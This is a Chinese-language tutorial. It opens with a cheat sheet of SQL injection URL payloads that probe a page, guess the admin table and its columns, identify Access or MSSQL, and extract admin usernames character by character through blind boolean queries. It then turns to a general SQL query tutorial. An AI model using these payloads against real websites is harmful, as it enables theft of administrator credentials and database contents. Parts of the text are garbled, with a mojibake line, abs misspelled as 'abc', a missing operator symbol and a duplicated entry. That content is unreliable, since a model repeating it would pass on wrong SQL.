简单学习理解掌握SQL注入技术




检测可否注入
http://127.0.0.1/xx?id=11 and 1=1 (正常页面)
http://127.0.0.1/xx?id=11 and 1=2 (出错页面)

检测表段的
http://127.0.0.1/xx?id=11 and exists (select * from admin)

检测字段的
http://127.0.0.1/xx?id=11 and exists (select username from admin)

检测ID
http://127.0.0.1/xx?id=11 and exists (select id from admin where ID=1)

检测长度的
http://127.0.0.1/xx?id=11 and exists (select id from admin where len(username)=5 and ID=1)

检测长度的
http://127.0.0.1/xx?id=11 and exists (select id from admin where len(username)=5 and ID=1)

检测是否为MSSQL数据库
http://127.0.0.1/xx?id=11 and exists (select * from sysobjects)

检测是否为英文

(ACCESS数据库)
http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1)) between 30 and 130 and ID=1)

(MSSQL数据库)
http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1)) between 30 and 130 and ID=1)

检测英文的范围

(ACCESS数据库)
http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1)) between 90 and 100 and ID=1)

(MSSQL数据库)
http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1)) between 90 and 100 and ID=1)

检测那个字符

(ACCESS数据库)
http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1))=97 and ID=1)

(MSSQL数据库)
http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1))=97 and ID=1)

常用函数

Access:asc(字符) SQLServer:unicode(字符)
作用:返回某字符的ASCII码

Access:chr(数字) SQLServer:nchar(数字)
作用:与asc相反,根据ASCII码返回字符

Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)
作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串

Access:abc(数字) SQLServer:abc (数字)
作用:返回数字的绝对值(在猜解汉字的时候会用到)

Access:A between B And C SQLServer:A between B And C
作用:判断A是否界于B与C之间

and exists(Select top 1 * From 用户 order by id)

1.在查询结果中显示列名:

a.用as关键字:select name as ’姓名’ from students order by age
b.直接表示:select name ’姓名’ from students order by age

2.精确查找:

a.用in限定范围:select * from students where native in (’湖南’, ’四川’)
b.between…and:select * from students where age between 20 and 30

c.“=”:select * from students where name = ’李山’

d. like:select * from students where name like ’李%’ (注意查询条件中有“%”,则说明是部分匹配,而且还有先后信息在里面,即查找以“李”开头的匹配项。所以若查询有“李”的所有对象,应该命令:’%李%’;若是第二个字为李,则应为’_李%’或’_李’或’_李_’。)

e.[]匹配检查符:select * from courses where cno like ’[AC]%’ (表示或的关系,与"in(…)"类似,而且"[]"可以表示范围,如:select * from courses where cno like ’[A-C]%’)

3.对于时间类型变量的处理

a.smalldatetime:直接按照字符串处理的方式进行处理,例如:select * from students where birth > = ’1980-1-1’ and birth <= ’1980-12-31’

4.集函数

a.count()求和,如:select count(*) from students (求学生总人数)
b.avg(列)求平均,如:select avg(mark) from grades where cno=’B2’
c.max(列)和min(列),求最大与最小

5.分组group

常用于统计时,如分组查总数:select gender,count(sno) from students group by gender(查看男女学生各有多少)
注意:从哪种角度分组就从哪列"group by"
对于多重分组,只需将分组规则罗列。比如查询各届各专业的男女同学人数 ,那么分组规则有:届别(grade)、专业(mno)和
性别(gender),所以有"group by grade, mno, gender"
select grade, mno, gender, count(*) from students group by grade, mno, gender
通常group还和having联用,比如查询1门课以上不及格的学生,则按学号(sno)分类有:
select sno,count(*) from grades where mark<60 group by sno having count(*)>1

6.UNION联合

合并查询结果,如:
SELECT * FROM students WHERE name like ‘张%’UNION [ALL] SELECT * FROM students WHERE name like ‘李%’

7.多表查询

a.内连接
select g.sno,s.name,c.coursename from grades g JOIN students s ON g.sno=s.sno JOIN courses c ON g.cno=c.cno
(注意可以引用别名)

b.外连接

b1.左连接

select courses.cno,max(coursename),count(sno) from courses LEFT JOIN grades ON courses.cno=grades.cno group by courses.cno

左连接特点:显示全部左边表中的所有项目,即使其中有些项中的数据未填写完全。

左外连接返回那些存在于左表而右表中却没有的行,再加上内连接的行。

b2.右连接

与左连接类似

b3.全连接

select sno,name,major from students FULL JOIN majors ON students.mno=majors.mno

两边表中的内容全部显示

c.自身连接

select c1.cno,c1.coursename,c1.pno,c2.coursename from courses c1,courses c2 where c1.pno=c2.cno

采用别名解决问题。

d.交*连接

select lastname+firstname from lastname CROSS JOIN firstanme

相当于做笛卡儿积

8.嵌套查询

a.用关键字IN,如查询猪猪山的同乡:

select * from students where native in (select native from students where name=’猪猪’)

b.使用关键字EXIST,比如,下面两句是等价的:

select * from students where sno in (select sno from grades where cno=’B2’)
select * from students where exists (select * from grades where grades.sno=students.sno AND cno=’B2’)

9.关于排序order

a.对于排序order,有两种方法:asc升序和desc降序

b.对于排序order,可以按照查询条件中的某项排列,而且这项可用数字表示,如:
select sno,count(*) ,avg(mark) from grades group by sno having avg(mark)>85 order by 3

10.其他

a.对于有空格的识别名称,应该用"[]"括住。

b.对于某列中没有数据的特定查询可以用null判断,如select sno,courseno from grades where mark IS NULL

c.注意区分在嵌套查询中使用的any与all的区别,any相当于逻辑运算“  ”而all则相当于逻辑运算“&&”

d.注意在做否定意义的查询是小心进入陷阱:

如,没有选修‘B2’课程的学生 :
select students.* from students, grades where students.sno=grades.sno AND grades.cno <> ’B2’

上面的查询方式是错误的,正确方式见下方:
select * from students where not exists (select * from grades where grades.sno=students.sno AND cno=’B2’)

11.关于有难度多重嵌套查询的解决思想:如,选修了全睝@纬痰难?br>select * from students where not exists (select * from courses where NOT EXISTS (select * from grades where sno=students.sno AND cno=courses.cno))

最外一重:从学生表中选,排除那些有课没选的。用not exist。由于讨论对象是课程,所以第二重查询从course表中找,排除那些选了课的即可

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